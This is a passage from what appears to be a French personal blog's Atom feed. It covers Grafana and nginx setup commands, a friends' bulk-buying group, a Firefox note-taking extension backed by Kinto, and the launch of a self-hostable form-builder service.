&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;lt;username&amp;gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;password&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;lt;password&amp;gt;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;data_format&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;value&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;data_type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;integer&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="installation-de-grafana"&gt;Installation de&amp;nbsp;Grafana&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-y&lt;span class="w"&gt; &lt;/span&gt;apt-transport-https
sudo&lt;span class="w"&gt; &lt;/span&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-y&lt;span class="w"&gt; &lt;/span&gt;software-properties-common&lt;span class="w"&gt; &lt;/span&gt;wget
sudo&lt;span class="w"&gt; &lt;/span&gt;wget&lt;span class="w"&gt; &lt;/span&gt;-q&lt;span class="w"&gt; &lt;/span&gt;-O&lt;span class="w"&gt; &lt;/span&gt;/usr/share/keyrings/grafana.key&lt;span class="w"&gt; &lt;/span&gt;https://packages.grafana.com/gpg.key
&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;deb [signed-by=/usr/share/keyrings/grafana.key] https://packages.grafana.com/oss/deb stable main&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;tee&lt;span class="w"&gt; &lt;/span&gt;-a&lt;span class="w"&gt; &lt;/span&gt;/etc/apt/sources.list.d/grafana.list
sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;update
sudo&lt;span class="w"&gt; &lt;/span&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;grafana
sudo&lt;span class="w"&gt; &lt;/span&gt;/bin/systemctl&lt;span class="w"&gt; &lt;/span&gt;daemon-reload
sudo&lt;span class="w"&gt; &lt;/span&gt;/bin/systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grafana-server
sudo&lt;span class="w"&gt; &lt;/span&gt;/bin/systemctl&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;grafana-server
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="nginx"&gt;Nginx&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo apt install nginx certbot python3-certbot-nginx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Puis il faut créer un fichier de configuration dans &lt;code&gt;/etc/nginx/sites-enabled/graphs.ndd.tld&lt;/code&gt; avec le contenu suivant&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$http_upgrade&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$connection_upgrade&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kn"&gt;default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;upgrade&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kn"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;close&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;upstream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;grafana&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kn"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;localhost&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kn"&gt;listen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kn"&gt;server_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;graphs.ndd.tld&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kn"&gt;root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/usr/share/nginx/html&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kn"&gt;index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;index.html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;index.htm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kn"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$http_host&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://grafana&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# Proxy Grafana Live WebSocket connections.&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kn"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/api/live/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_http_version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s"&gt;.1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Upgrade&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$http_upgrade&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Connection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$connection_upgrade&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$http_host&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://grafana&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Une fois ces fichiers de configuration en place, il faut penser à la mise en place du &lt;span class="caps"&gt;SSL&lt;/span&gt; qui permet d&amp;#8217;avoir une connexion sécurisée&amp;nbsp;(https).&lt;/p&gt;
&lt;p&gt;Il suffit de lancer cette ligne de commande et de suivre les questions posées&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo certbot --nginx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Voilà ! A ce moment là, tout doit être fonctionnel, il ne reste plus qu&amp;#8217;à configurer le Grafana pour grapher les données enregistrées dans&amp;nbsp;InfluxDB.&lt;/p&gt;</content><category term="code"></category><category term="Administration Système"></category></entry><entry><title>Groupement d’achats &amp; partage d’expérience</title><link href="https://blog.notmyidea.org/groupement-dachats-partage-dexperience.html" rel="alternate"></link><published>2018-03-03T00:00:00+01:00</published><updated>2018-03-03T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2018-03-03:/groupement-dachats-partage-dexperience.html</id><summary type="html">&lt;p&gt;Il y a quelques années, on s&amp;#8217;est motivé entre copains copines pour créer un groupement&amp;nbsp;d&amp;#8217;achat.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;idée est&amp;nbsp;simple:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;commander en gros, pour faire baisser les&amp;nbsp;prix&lt;/li&gt;
&lt;li&gt;se passer d&amp;#8217;intermédiaires et favoriser les circuits&amp;nbsp;courts&lt;/li&gt;
&lt;li&gt;aller à la rencontre des producteurs locaux et&amp;nbsp;échanger&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Notre groupement …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Il y a quelques années, on s&amp;#8217;est motivé entre copains copines pour créer un groupement&amp;nbsp;d&amp;#8217;achat.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;idée est&amp;nbsp;simple:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;commander en gros, pour faire baisser les&amp;nbsp;prix&lt;/li&gt;
&lt;li&gt;se passer d&amp;#8217;intermédiaires et favoriser les circuits&amp;nbsp;courts&lt;/li&gt;
&lt;li&gt;aller à la rencontre des producteurs locaux et&amp;nbsp;échanger&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Notre groupement dessert actuellement 18 foyers et une 60aine de&amp;nbsp;personnes.&lt;/p&gt;
&lt;p&gt;Au fur et à mesure de la vie du groupement, on a développé quelques outils pour se simplifier la vie. Voici un retour d&amp;#8217;expérience et quelques astuces / outils, au cas où l&amp;#8217;envie vous prenne à vous aussi&amp;nbsp;:)&lt;/p&gt;
&lt;h1 id="organisation"&gt;Organisation&lt;/h1&gt;
&lt;p&gt;On organise environs trois ou quatre distributions par an. Le &lt;em&gt;modus operandi&lt;/em&gt; est le&amp;nbsp;suivant:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;chaque product·eur·rice à un·e référent·e, qui s&amp;#8217;occupe de faire le&amp;nbsp;lien;&lt;/li&gt;
&lt;li&gt;une personne est désignée pour coordonner la&amp;nbsp;distribution;&lt;/li&gt;
&lt;li&gt;4 semaines avant la distribution, les référent·e·s mettent à jour les prix / produits dans le tableau de&amp;nbsp;commandes;·e·&lt;/li&gt;
&lt;li&gt;3 semaines avant la distribution, les commandes sont&amp;nbsp;ouvertes;&lt;/li&gt;
&lt;li&gt;2 semaines avant la distribution, les commandes sont&amp;nbsp;closes;&lt;/li&gt;
&lt;li&gt;Les référent·e·s ont ensuite deux semaines pour récupérer les commandes pour la&amp;nbsp;distribution&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="quels-produits"&gt;Quels produits&amp;nbsp;?&lt;/h1&gt;
&lt;p&gt;On essaye d&amp;#8217;avoir uniquement des produits qui se conservent (on a également quelques autres produits plus frais, mais avec d&amp;#8217;autres&amp;nbsp;modalités).&lt;/p&gt;
&lt;p&gt;Entre autres: bières, légumes secs, conserves, jus, miel, pâtes, semoule, café, vinaigres, pommes de terre, oignons, huiles,&amp;nbsp;farines.&lt;/p&gt;
&lt;p&gt;On essaye de faire du local puis du bio au plus proche plutôt que de trouver nécessairement les prix les plus bas. C&amp;#8217;est une discussion qui revient assez
souvent, et donc un point à évoquer lors de la création pour avoir une posture
claire sur le sujet (tout le monde n&amp;#8217;est pas animé par la même éthique&amp;nbsp;!).&lt;/p&gt;
&lt;h1 id="paiements"&gt;Paiements&lt;/h1&gt;
&lt;p&gt;Pour les paiements, on utilise autant que possible des chèques. Chaque référent·e paye la·le product·rice·eur en son nom, et lui demande d&amp;#8217;attendre la date de la distribution pour l&amp;#8217;encaissement. La plupart des producteurs acceptent d&amp;#8217;être payés sous&amp;nbsp;quinzaine.&lt;/p&gt;
&lt;p&gt;Le jour de la distribution, tout le monde apporte son chéquier. Nous avons mis
en place une moulinette qui s&amp;#8217;occupe de faire la répartition des chèques automatiquement, chaque membre se retrouve à faire en moyenne un ou deux&amp;nbsp;chèques.&lt;/p&gt;
&lt;p&gt;Chaque référent·e est ainsi remboursé·e de la somme avancée, et chaque
membre du groupement d&amp;#8217;achat paye ce qu&amp;#8217;il doit payer. Nous n&amp;#8217;avons
volontairement pas de structure juridique et pas de compte en banque. Les
paiements s&amp;#8217;effectuent directement entre&amp;nbsp;nous.&lt;/p&gt;
&lt;h1 id="transports"&gt;Transports&lt;/h1&gt;
&lt;p&gt;Chaque référent·e commande les produits, puis ensuite s&amp;#8217;occupe de les rapatrier. À Rennes, on a la chance d&amp;#8217;avoir pas mal de producteurs aux alentours, donc c&amp;#8217;est assez&amp;nbsp;simple.&lt;/p&gt;
&lt;p&gt;Le mieux est de ramener les produits juste un peu avant la distribution au lieu de distribution, ça permet d&amp;#8217;éviter de les stocker trop longtemps, et d&amp;#8217;éviter aux producteurs d&amp;#8217;attendre trop longtemps avant d&amp;#8217;encaisser les&amp;nbsp;chèques.&lt;/p&gt;
&lt;p&gt;Pour les grosses commandes, les voitures se remplissent bien, mais ma petite Clio suffit, que ce soit dit&amp;nbsp;!&lt;/p&gt;
&lt;h1 id="la-distribution"&gt;La&amp;nbsp;distribution&lt;/h1&gt;
&lt;p&gt;Un peu en amont de la distribution, il faut organiser l&amp;#8217;espace. Des tas par membre sont constitués pour faciliter les choses le jour de la&amp;nbsp;distribution.&lt;/p&gt;
&lt;p&gt;Le jour même, on se retrouve, on charge ses marchandises, on échange quelques chèques et on papote ! On en profite&amp;nbsp;pour:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;discuter de la date de la prochaine&amp;nbsp;distribution;&lt;/li&gt;
&lt;li&gt;trouver une nouvelle personne pour la&amp;nbsp;coordonner;&lt;/li&gt;
&lt;li&gt;discuter de nouveaux&amp;nbsp;produits;&lt;/li&gt;
&lt;li&gt;refaire le&amp;nbsp;monde;&lt;/li&gt;
&lt;li&gt;changer de référents pour les&amp;nbsp;producteurs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Et c&amp;#8217;est reparti pour un tour&amp;nbsp;;)&lt;/p&gt;
&lt;h1 id="nos-outils"&gt;Nos&amp;nbsp;outils&lt;/h1&gt;
&lt;p&gt;On utilise un tableur en ligne pour partager les prix et prendre les commandes. On a essayé d&amp;#8217;utiliser &lt;em&gt;ethercalc&lt;/em&gt; au début mais ça ne fonctionnait pas pour nous à l&amp;#8217;époque (trop de petits bugs). On a donc préféré utiliser Google docs&amp;nbsp;(ouch).&lt;/p&gt;
&lt;p&gt;Il est d&amp;#8217;ailleurs possible d&amp;#8217;y intégrer de nouvelles fonctionnalités assez facilement, du coup Fred et Rémy ont planché sur un moyen d&amp;#8217;automatiser la répartition des chèques (qu&amp;#8217;on faisait dans un premier temps à la main - assez&amp;nbsp;péniblement).&lt;/p&gt;
&lt;p&gt;Le système n&amp;#8217;est pas parfait mais fonctionne quand même assez bien&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;Quelques ressources,&amp;nbsp;donc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/almet/8c77fafc9e487c02ded852ec4a91ae16"&gt;le code pour faire la répartition des&amp;nbsp;chèques&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.google.com/spreadsheets/d/1bnPRSvf2Q2RDxKerWnEqUyJjuCFePnVMq6pWo8LeA_k/edit?usp=sharing"&gt;une version « à remplir » de notre tableau de commandes&lt;/a&gt; (le mieux est d&amp;#8217;en faire une copie&amp;nbsp;!).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bon groupement d&amp;#8217;achat&amp;nbsp;;)&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Webnotes</title><link href="https://blog.notmyidea.org/webnotes.html" rel="alternate"></link><published>2018-02-25T00:00:00+01:00</published><updated>2018-02-25T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2018-02-25:/webnotes.html</id><summary type="html">&lt;p&gt;Quand je navigue en ligne, j&amp;#8217;aime bien prendre des notes sur ce que je lis. C&amp;#8217;est utile pour les retrouver plus tard. Il existe quelques outils pour ce genre de cas, mais j&amp;#8217;ai vraiment eu du mal à trouver un outil qui faisais ce que je voulais …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Quand je navigue en ligne, j&amp;#8217;aime bien prendre des notes sur ce que je lis. C&amp;#8217;est utile pour les retrouver plus tard. Il existe quelques outils pour ce genre de cas, mais j&amp;#8217;ai vraiment eu du mal à trouver un outil qui faisais ce que je voulais, de la manière que je voulais, c&amp;#8217;est à&amp;nbsp;dire:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;enregistrer une sélection de texte ainsi que son contexte: heure, site&amp;nbsp;web.&lt;/li&gt;
&lt;li&gt;fonctionner sur&amp;nbsp;Firefox;&lt;/li&gt;
&lt;li&gt;stocker mes notes à un endroit que je contrôle (ce sont mes données, après tout&amp;nbsp;!)&lt;/li&gt;
&lt;li&gt;rester en dehors de mon chemin: je suis en train de lire, pas en train d&amp;#8217;organiser mes&amp;nbsp;notes.&lt;/li&gt;
&lt;li&gt;automatiquement partager les notes sur une page&amp;nbsp;web.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;J&amp;#8217;ai donc pris un peu de temps pour fabriquer mon outil de prises de notes, que j&amp;#8217;ai baptisé « Webnotes ». C&amp;#8217;est &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/wwebnotes/"&gt;une extension Firefox&lt;/a&gt;, qui se configure assez simplement, et qui stocke les données dans une instance de &lt;a href="http://kinto-storage.org/"&gt;Kinto&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://github.com/almet/webnotes/blob/master/webnotes.gif?raw=true" /&gt;&lt;/p&gt;
&lt;p&gt;C&amp;#8217;est aussi simple que sélectionner du texte, faire « clic droit » puis « save as webnote », entrer un tag et le tour est joué&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;Mes notes sont disponibles &lt;a href="https://notes.notmyidea.org"&gt;sur notes.notmyidea.org&lt;/a&gt;, et voici &lt;a href="https://github.com/almet/webnotes"&gt;le lien vers les sources&lt;/a&gt;, si ça vous intéresse de regarder comment ça fonctionne&amp;nbsp;!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Comment est-ce que vous générez vos formulaires ?</title><link href="https://blog.notmyidea.org/comment-est-ce-que-vous-generez-vos-formulaires.html" rel="alternate"></link><published>2016-05-31T00:00:00+02:00</published><updated>2016-05-31T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2016-05-31:/comment-est-ce-que-vous-generez-vos-formulaires.html</id><summary type="html">&lt;p&gt;&lt;span class="caps"&gt;TL&lt;/span&gt;; &lt;span class="caps"&gt;DR&lt;/span&gt;: Je viens à peine de &lt;em&gt;releaser&lt;/em&gt; la première version d&amp;#8217;un service de génération de formulaires.
Allez jeter un coup d&amp;#8217;œil sur &lt;a href="https://www.fourmilieres.net"&gt;https://www.fourmilieres.net&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;En février 2012, je parlais ici &lt;a href="https://blog.notmyidea.org/carto-forms.html"&gt;d&amp;#8217;un service de génération de formulaires&lt;/a&gt;.
Depuis, pas mal d&amp;#8217;eau à coulé sous …&lt;/em&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;span class="caps"&gt;TL&lt;/span&gt;; &lt;span class="caps"&gt;DR&lt;/span&gt;: Je viens à peine de &lt;em&gt;releaser&lt;/em&gt; la première version d&amp;#8217;un service de génération de formulaires.
Allez jeter un coup d&amp;#8217;œil sur &lt;a href="https://www.fourmilieres.net"&gt;https://www.fourmilieres.net&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;En février 2012, je parlais ici &lt;a href="https://blog.notmyidea.org/carto-forms.html"&gt;d&amp;#8217;un service de génération de formulaires&lt;/a&gt;.
Depuis, pas mal d&amp;#8217;eau à coulé sous les ponts, on est passé par pas mal d&amp;#8217;étapes pour
finalement arriver à une première version de ce service de génération de
formulaires (à la &lt;/em&gt;google forms&lt;em&gt;).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;En tant qu&amp;#8217;organisateurs d&amp;#8217;évènements (petits et gros), je me retrouve souvent
dans une situation ou je dois créer des formulaires pour recueillir des
informations. Actuellement, la meilleure solution disponible est &lt;em&gt;Google Forms&lt;/em&gt;,
mais celle ci à plusieurs problèmes, à commencer par le fait que le code n&amp;#8217;est
pas libre et que les données sont stockées chez&amp;nbsp;Google.&lt;/p&gt;
&lt;p&gt;La plupart du temps, le besoin est assez simple: je veux spécifier quelques
questions, et donner un lien à mes amis pour qu&amp;#8217;ils puissent y répondre.
Je reviens ensuite plus tard pour voir la liste des réponses&amp;nbsp;apportées.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Capture de l'interface de création du formulaire" src="https://blog.notmyidea.org/images/formbuilder/formbuilder-build.png"&gt;&lt;/p&gt;
&lt;h2 id="fonctionnalites"&gt;Fonctionnalités&lt;/h2&gt;
&lt;p&gt;Il existe pas mal de solutions techniques qui essayent de répondre à la même
problématique, mais la plupart d&amp;#8217;entre elles sont assez souvent compliquées,
nécessitent de se créer un compte, et/ou ne vous laisse pas la main libre sur
les données générées, voire le code est assez difficile à faire évoluer ou à&amp;nbsp;déployer.&lt;/p&gt;
&lt;p&gt;Je voulais donc quelque chose de simple à utiliser &lt;em&gt;et&lt;/em&gt; pour les créateurs de
formulaires &lt;em&gt;et&lt;/em&gt; pour les utilisateurs finaux. Pas de chichis, juste quelques
vues, et des URLs à sauvegarder une fois l&amp;#8217;opération&amp;nbsp;terminée.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Capture de l'écran avec les URLs générées" src="https://blog.notmyidea.org/images/formbuilder/formbuilder-created.png"&gt;
&lt;img alt="Capture d'écran d'un exemple de formulaire" src="https://blog.notmyidea.org/images/formbuilder/formbuilder-form.png"&gt;&lt;/p&gt;
&lt;h3 id="pas-de-compte"&gt;Pas de&amp;nbsp;compte&lt;/h3&gt;
&lt;p&gt;Vous n&amp;#8217;avez pas besoin d&amp;#8217;avoir un compte sur le site pour commencer à l&amp;#8217;utiliser.
Vous créez simplement un nouveau formulaire puis envoyez le lien à vos amis pour
qu&amp;#8217;eux puissent à leur tour le&amp;nbsp;remplir.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Capture de la page d'accueil, ou aucun compte n'est requis" src="https://blog.notmyidea.org/images/formbuilder/formbuilder-welcome.png"&gt;&lt;/p&gt;
&lt;h3 id="gardez-la-main-sur-vos-donnees"&gt;Gardez la main sur vos&amp;nbsp;données&lt;/h3&gt;
&lt;p&gt;Une fois que vous avez récupéré les réponses à vos questions, vous pouvez
récupérer les données sur votre machines dans un fichier &lt;code&gt;.csv&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Capture de la page de resultats, il est possible de télécharger en CSV." src="https://blog.notmyidea.org/images/formbuilder/formbuilder-results.png"&gt;&lt;/p&gt;
&lt;h3 id="api"&gt;&lt;span class="caps"&gt;API&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;L&amp;#8217;ensemble des données sont en fait stockées dans &lt;a href="https://kinto.readthedocs.org"&gt;Kinto&lt;/a&gt;
qui est interrogeable très facilement en &lt;span class="caps"&gt;HTTP&lt;/span&gt;. Ce qui fait qu&amp;#8217;il est très facile de
réutiliser les formulaires que vous avez construits (ou leurs réponses) depuis
d&amp;#8217;autres&amp;nbsp;outils.&lt;/p&gt;
&lt;h3 id="auto-hebergeable"&gt;Auto-hébergeable&lt;/h3&gt;
&lt;p&gt;Un des objectifs de ce projet est de vous redonner la main sur vos données.
Bien sur, vous pouvez utiliser l&amp;#8217;instance qui est mise à votre disposition sur
&lt;a href="https://www.fourmilieres.net"&gt;wwww.fourmilieres.net&lt;/a&gt;, mais vous pouvez
également l&amp;#8217;héberger vous même très
simplement, et vous êtes d&amp;#8217;ailleurs fortement encouragés à le faire ! Notre
objectif n&amp;#8217;est pas de stocker l&amp;#8217;ensemble des formulaires du monde, mais de
(re)donner le contrôle aux utilisateurs&amp;nbsp;!&lt;/p&gt;
&lt;h2 id="on-commence-petit"&gt;On commence&amp;nbsp;petit…&lt;/h2&gt;
&lt;p&gt;Cette &lt;em&gt;release&lt;/em&gt; n&amp;#8217;est (bien sur) pas parfaite, et il reste encore pas mal de
travail sur cet outil, mais je pense qu&amp;#8217;il s&amp;#8217;agit d&amp;#8217;une base de travail
intéressante pour un futur où Google n&amp;#8217;a pas la main sur toutes nos&amp;nbsp;données.&lt;/p&gt;
&lt;p&gt;La liste des champs supportés est pour l&amp;#8217;instant assez faible (Texte court,
Texte long, Oui/Non, choix dans une liste) mais elle à vocation à s&amp;#8217;étendre, en
fonction des besoins de&amp;nbsp;chacun.&lt;/p&gt;
&lt;p&gt;J&amp;#8217;ai d&amp;#8217;ailleurs créé &lt;a href="https://www.fourmilieres.net/#/form/cfd878264cec4ed2"&gt;un formulaire pour que vous puissiez me faire part de vos
retours&lt;/a&gt;, n&amp;#8217;hésitez pas&amp;nbsp;!&lt;/p&gt;
&lt;h2 id="et-euh-comment-ca-marche"&gt;Et, euh, comment ça marche&amp;nbsp;?&lt;/h2&gt;
&lt;p&gt;Le &lt;em&gt;formbuilder&lt;/em&gt;, comme j&amp;#8217;aime l&amp;#8217;appeler se compose en fin de compte de deux
parties&amp;nbsp;distinctes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://kinto.readthedocs.org"&gt;Kinto&lt;/a&gt;, un service qui stocke
  des données coté serveur et qui les expose via des &lt;strong&gt;APIs &lt;span class="caps"&gt;HTTP&lt;/span&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/kinto/formbuilder"&gt;Le formbuilder&lt;/a&gt;, une application
  JavaScript qui ne tourne que coté client (dans votre navigateur) qui permet
  de construire les formulaires et d&amp;#8217;envoyer les données sur les &lt;em&gt;APIs&lt;/em&gt; coté&amp;nbsp;serveur.&lt;/li&gt;
&lt;/ul&gt;
